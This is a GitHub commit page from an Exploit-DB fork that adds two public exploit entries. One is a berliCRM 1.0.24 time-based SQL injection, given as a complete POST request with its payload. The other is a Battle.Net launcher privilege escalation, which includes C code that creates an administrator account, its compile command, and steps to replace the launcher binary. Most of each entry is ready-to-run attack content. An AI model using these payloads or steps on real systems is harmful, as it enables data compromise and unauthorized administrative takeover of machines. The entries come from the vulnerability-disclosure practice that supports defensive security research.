forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
2 changes to exploits/shellcodes Battle.Net 1.27.1.12428 - Insecure File Permissions berliCRM 1.0.24 - 'src_record' SQL Injection
- Loading branch information
Offensive Security
committed
Oct 14, 2020
1 parent
14fcd48
commit 973a669
Showing
3 changed files
with
136 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Exploit Title: berliCRM 1.0.24 - 'src_record' SQL Injection | ||
# Google Dork: N/A | ||
# Date: 2020-10-11 | ||
# Exploit Author: Ahmet Ümit BAYRAM | ||
# Vendor Homepage: https://www.berlicrm.de | ||
# Software Link: https://github.com/berliCRM/berlicrm/archive/1.0.24.zip | ||
# Version: 1.0.24 | ||
# Tested on: Kali Linux | ||
# CVE : N/A | ||
|
||
|
||
========== Post Request ========================= | ||
|
||
POST /index.php HTTP/1.1 | ||
Content-Type: application/x-www-form-urlencoded | ||
X-Requested-With: XMLHttpRequest | ||
Referer: localhost | ||
Cookie: PHPSESSID=bab89b6fc39e1fd2c26877a4544cbb64 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | ||
Accept-Encoding: gzip,deflate | ||
Content-Length: 226 | ||
Host: localhost | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | ||
(KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 | ||
Connection: Keep-alive | ||
|
||
__vtrftk=sid:ff114f440469f69f1507ebd04c65e05ba2fcc8d3%2C1602392658&module=Contacts&src_field=contact_id&src_module=Contacts&src_record=1&triggerEventName=postSelection721&view=Popup | ||
|
||
============= Vulnerable Parameter =============== | ||
|
||
src_record (POST) | ||
|
||
============= Payload =========================== | ||
|
||
0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
# Exploit Title: Battle.Net 1.27.1.12428 - Insecure File Permissions | ||
# Date: 2020-10-09 | ||
# Exploit Author: George Tsimpidas | ||
# Software Link : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop ) | ||
# Version Patch: 1.27.1.12428 | ||
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362 | ||
# Category: local | ||
|
||
|
||
|
||
Vulnerability Description: | ||
|
||
Battle.Net Launcher (Battle.net.exe) suffers from an elevation of | ||
privileges | ||
vulnerability which can be used by a simple user that can change the | ||
executable file | ||
with a binary of choice. The vulnerability exist due to the improper | ||
permissions, | ||
with the 'F' flag (Full) for 'Users' group, making the entire directory | ||
'Battle.net' and its files and sub-dirs world-writable. | ||
|
||
## Insecure Folder Permission | ||
|
||
C:\Program Files (x86)>icacls Battle.net | ||
|
||
Battle.net BUILTIN\Users:(OI)(CI)(F) | ||
BUILTIN\Administrators:(OI)(CI)(F) | ||
CREATOR OWNER:(OI)(CI)(F) | ||
|
||
## Insecure File Permission | ||
|
||
C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe" | ||
|
||
Battle.net.exe BUILTIN\Users:(I)(F) | ||
BUILTIN\Administrators:(I)(F) | ||
FREY-OMEN\30698:(I)(F) | ||
|
||
|
||
## Local Privilege Escalation Proof of Concept | ||
#0. Download & install | ||
|
||
#1. Create low privileged user & change to the user | ||
## As admin | ||
|
||
C:\>net user lowpriv Password123! /add | ||
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" | ||
User name lowpriv | ||
Local Group Memberships *Users | ||
Global Group memberships *None | ||
|
||
#2. Move the Service EXE to a new name | ||
|
||
C:\Program Files (x86)\Battle.net> whoami | ||
|
||
lowpriv | ||
|
||
C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe | ||
1 file(s) moved. | ||
|
||
#3. Create malicious binary on kali linux | ||
|
||
## Add Admin User C Code | ||
kali# cat addAdmin.c | ||
int main(void){ | ||
system("net user placebo mypassword /add"); | ||
system("net localgroup Administrators placebo /add"); | ||
WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0); | ||
return 0; | ||
} | ||
|
||
## Compile Code | ||
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe | ||
|
||
#4. Transfer created 'Battle.net.exe' to the Windows Host | ||
|
||
#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files | ||
(x86)\Battle.net>' Folder | ||
|
||
C:\Program Files (x86)\Battle.net> move | ||
C:\Users\lowpriv\Downloads\Battle.net.exe . | ||
|
||
#6. Check that exploit admin user doesn't exists | ||
|
||
C:\Program Files (x86)\Battle.net> net user placebo | ||
|
||
The user name could not be found | ||
|
||
#6. Reboot the Computer | ||
|
||
C:\Program Files (x86)\Battle.net> shutdown /r | ||
|
||
#7. Login & look at that new Admin | ||
|
||
C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr | ||
/v "Full" | ||
|
||
User name placebo | ||
Local Group Memberships *Administrators *Users | ||
Global Group memberships *None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters